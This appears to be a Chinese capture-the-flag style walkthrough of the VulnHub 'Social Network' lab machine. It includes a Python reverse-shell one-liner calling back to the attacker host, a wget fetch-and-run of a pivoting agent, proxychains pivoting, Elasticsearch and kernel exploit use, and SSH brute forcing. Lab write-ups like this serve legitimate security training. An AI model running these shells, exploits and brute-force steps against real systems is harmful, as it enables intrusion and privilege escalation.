声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 01 篇文章
靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
nmap -sn 192.168.56.0/24
靶机的IP地址:192.168.56.104
kali的ip地址:192.168.56.102
1、进行端口扫描、服务探测、操作系统探测
nmap -sV -sC -O -p- 192.168.56.104
靶机开放了22,5000端口,22跑的是openssh的服务,5000跑的是python框架Werkzeug开发的HTTP服务,操作系统探测是linux3.2-4.9
2、用nmap的漏洞库进行扫描
nmap --script=vuln -p22,5000 192.168.56.104
没有发现可以利用的漏洞
3、浏览器访问5000端口
类似留言板,对输入框进行进一步探测,输入"提示长度不够,输入12345"直接留言
4、对5000端口进行目录爆破
dirsearch -u http://192.168.56.104:5000
发现有admin目录
将admin目录拼接5000端口使用浏览器访问
发现这是一个管理员的页面,可以执行任意的代码
结合之前的信息收集,这个网站是python开发的
5、使用python反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
成功反弹shell
输入 ip a
发现这里的ip地址和我们的靶机不一致,怀疑可能为蜜罐或者docker容器
进行docker判断
cat /proc/1/cgroup
发现/proc/1/cgroup下有关于docker容器的hash值,可以判断处于docker容器中,也就是处于内网,那么进行内网探测
因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长
所以我们使用一个循环代码进行探测
for i in $(seq 1 100);do ping -c 1 172.17.0.$i; done
我们发现只有1和3回包,那么就存在除172.17.0.2的两台主机
因为docker容器里面没有可以利用的工具
1、我们使用venom工具去和kali进行连接,以便于使用kali去访问靶机内网
kali的是x64的,那么在venom的目录下,输入,监听8888端口
./admin_linux_x64 lport 8888
2、python启动一个http服务,将agent_linux_x64运到靶机
wget http://192.168.56.102/agent_linux_x64
启动agent_linux_x64
输入./agent_linux_x64 -rhost 192.168.56.102 -rport 8888
靶机连接成功
使用show命令去查找节点,然后使用goto去连接这个节点
启动一个socks监听
socks 1000
3、使用proxychains4工具去设置代理,访问靶机内网
修改/etc/proxychains4.conf文件
vim /etc/proxychains4.conf 修改为sock5 127.0.0.1 1000(venom开启的socks监听)
SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用
4、使用kali的工具通过代理去探测靶机内网信息
对172.17.0.1进行端口和服务版本的探测
这个结果和上面的172.17.0.1开放的端口和服务相同
访问,与上面的开放的是一样的
对172.17.0.3进行端口和服务版本的探测
proxychains nmap -Pn -sT -sV 172.17.0.3
开放了9200的端口,Elasticsearch服务
猜测Elasticsearch可能存在漏洞
查看是否有漏洞和可以利用的脚本文件
searchsploit Elasticsearch
将第一个复制到当前路径下
searchsploit -m 36337.py ./
简单的阅读代码
需要使用python2调用
proxychains python2 36337.py 172.17.0.3
拿到172.17.0.3 shell
简单的搜索一下,发现当前目录下有passwords文件,查看,发现有用户和密码
那么既然有账号密码,那么尝试使用hydra对192.168.56.104进行ssh爆破
先对hash进行解密(网上有现成的在线工具)
ssh登录
hydra -L user.txt -P pass.txt ssh://192.168.56.104
发现john 1337hack可以登录,ssh登录
成功登陆
没有sudo权限,也没有自动任务
也没有suid权限的文件
发现内核版本过低,那么尝试内核提权
searchsploit Linux 3.13.0
发现有可以利用的脚本
将37292.c复制到本地
发现需要使用gcc编译
但是靶机没有gcc
那么我们采用,将编译好的文件和修改过的c代码运送到靶机运行,将代码里面要到gcc编译的地方删除
寻找编译过的ofs-lib.so文件
将37292.c编译
开启python服务,将文件传输到靶机
因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下
运行exp
出现错误,是因为kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的
下载libc6_2.19-0ubuntu6_amd64.deb解压,
dpkg -e libc6_2.19-0ubuntu6_amd64.deb
dpkg -x libc6_2.19-0ubuntu6_amd64.deb ./(需要指定路径)
然后通过-Ldir指定解压的文件下的/lib/x86_64-linux-gnu/libc.so.6
输入gcc 37292.c -o exp -Ldir ./lib/x86_64-linux-gnu/libc.so.6 重新编译
重复上面的传文件的操作,把exp重新传到靶机的/tmp目录
运行
提权成功
补充:
在最后提权阶段具有可能遇到如下情况:
解决方案:
http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0